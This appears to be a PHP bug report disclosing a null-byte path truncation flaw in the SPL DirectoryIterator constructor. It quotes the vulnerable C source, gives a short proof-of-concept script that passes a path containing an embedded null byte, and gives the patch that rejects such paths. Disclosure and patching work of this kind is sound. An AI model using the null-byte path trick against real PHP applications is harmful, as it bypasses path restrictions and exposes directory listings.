Description:
------------
ext/spl/spl_directory.c:
```
void spl_filesystem_object_construct(INTERNAL_FUNCTION_PARAMETERS, zend_long ctor_flags) /* {{{ */
{
    ...
	if (SPL_HAS_FLAG(ctor_flags, DIT_CTOR_FLAGS)) {
		flags = SPL_FILE_DIR_KEY_AS_PATHNAME|SPL_FILE_DIR_CURRENT_AS_FILEINFO;
		parsed = zend_parse_parameters(ZEND_NUM_ARGS(), "s|l", &path, &len, &flags);
	} else {
		flags = SPL_FILE_DIR_KEY_AS_PATHNAME|SPL_FILE_DIR_CURRENT_AS_SELF;
		parsed = zend_parse_parameters(ZEND_NUM_ARGS(), "s", &path, &len);
	}
```

PoC:
```
<?php

$dir = new DirectoryIterator("../../ryat\x00/php");
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        var_dump($fileinfo->getFilename());
    }
}

?>
```

Fix:
```
	if (SPL_HAS_FLAG(ctor_flags, DIT_CTOR_FLAGS)) {
		flags = SPL_FILE_DIR_KEY_AS_PATHNAME|SPL_FILE_DIR_CURRENT_AS_FILEINFO;
		parsed = zend_parse_parameters(ZEND_NUM_ARGS(), "p|l", &path, &len, &flags);
	} else {
		flags = SPL_FILE_DIR_KEY_AS_PATHNAME|SPL_FILE_DIR_CURRENT_AS_SELF;
		parsed = zend_parse_parameters(ZEND_NUM_ARGS(), "p", &path, &len);
	}
```